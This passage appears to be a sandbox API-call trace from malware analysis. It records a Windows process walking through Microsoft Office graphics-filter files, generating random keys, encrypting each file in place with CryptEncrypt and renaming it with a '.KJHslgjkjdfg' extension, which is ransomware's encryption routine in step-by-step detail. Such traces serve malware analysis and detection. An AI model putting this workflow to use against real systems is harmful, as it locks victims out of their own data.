GetProcessHeap () returned 0x2ef0000 [0167.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.kjhslgjkjdfg")) returned 1 [0167.581] CloseHandle (hObject=0xf0) returned 1 [0167.581] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0167.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.583] GetProcessHeap () returned 0x2ef0000 [0167.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.583] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.583] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.583] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0167.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.587] GetProcessHeap () returned 0x2ef0000 [0167.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.587] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.588] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.588] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.588] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.588] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.588] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.588] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.589] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.589] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x93f6e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x93f6e, lpOverlapped=0x0) returned 1 [0167.600] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x93f70, dwBufLen=0x93f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x93f70) returned 1 [0167.607] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.607] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x93f70, lpOverlapped=0x0) returned 1 [0167.609] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x94044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.609] SetEndOfFile (hFile=0xf0) returned 1 [0167.613] GetProcessHeap () returned 0x2ef0000 [0167.613] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.613] GetProcessHeap () returned 0x2ef0000 [0167.613] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.kjhslgjkjdfg")) returned 1 [0167.728] CloseHandle (hObject=0xf0) returned 1 [0167.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0167.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.729] GetProcessHeap () returned 0x2ef0000 [0167.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.729] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.729] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.729] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.729] GetProcessHeap () returned 0x2ef0000 [0167.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.729] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.729] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.729] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.756] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.756] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.756] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.757] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.757] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xadf90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xadf90, lpOverlapped=0x0) returned 1 [0167.767] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xadf90, dwBufLen=0xadf90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xadf90) returned 1 [0167.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.777] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xadf90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xadf90, lpOverlapped=0x0) returned 1 [0167.779] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xae064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.780] SetEndOfFile (hFile=0xf0) returned 1 [0167.783] GetProcessHeap () returned 0x2ef0000 [0167.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.783] GetProcessHeap () returned 0x2ef0000 [0167.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.kjhslgjkjdfg")) returned 1 [0167.792] CloseHandle (hObject=0xf0) returned 1 [0167.792] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0167.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.793] GetProcessHeap () returned 0x2ef0000 [0167.793] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.793] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.793] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.793] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.793] GetProcessHeap () returned 0x2ef0000 [0167.793] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.794] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.794] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.794] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.796] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.796] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.796] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.796] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.796] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.796] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.796] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4e380, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4e380, lpOverlapped=0x0) returned 1 [0167.835] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e380, dwBufLen=0x4e380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e380) returned 1 [0167.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.839] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4e380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4e380, lpOverlapped=0x0) returned 1 [0167.840] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.840] SetEndOfFile (hFile=0xf0) returned 1 [0167.843] GetProcessHeap () returned 0x2ef0000 [0167.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.843] GetProcessHeap () returned 0x2ef0000 [0167.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.kjhslgjkjdfg")) returned 1 [0167.849] CloseHandle (hObject=0xf0) returned 1 [0167.849] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0167.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.883] GetProcessHeap () returned 0x2ef0000 [0167.883] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.884] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.884] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.884] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.884] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.884] GetProcessHeap () returned 0x2ef0000 [0167.884] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.884] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.884] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.884] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.886] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.886] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.886] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.887] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.887] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.887] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.887] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3ad80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3ad80, lpOverlapped=0x0) returned 1 [0167.889] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ad80, dwBufLen=0x3ad80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ad80) returned 1 [0167.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.892] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ad80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ad80, lpOverlapped=0x0) returned 1 [0167.893] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ae54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.893] SetEndOfFile (hFile=0xf0) returned 1 [0167.897] GetProcessHeap () returned 0x2ef0000 [0167.897] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.897] GetProcessHeap () returned 0x2ef0000 [0167.898] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.kjhslgjkjdfg")) returned 1 [0167.907] CloseHandle (hObject=0xf0) returned 1 [0167.907] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0167.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.908] GetProcessHeap () returned 0x2ef0000 [0167.908] RtlAllocateHeap 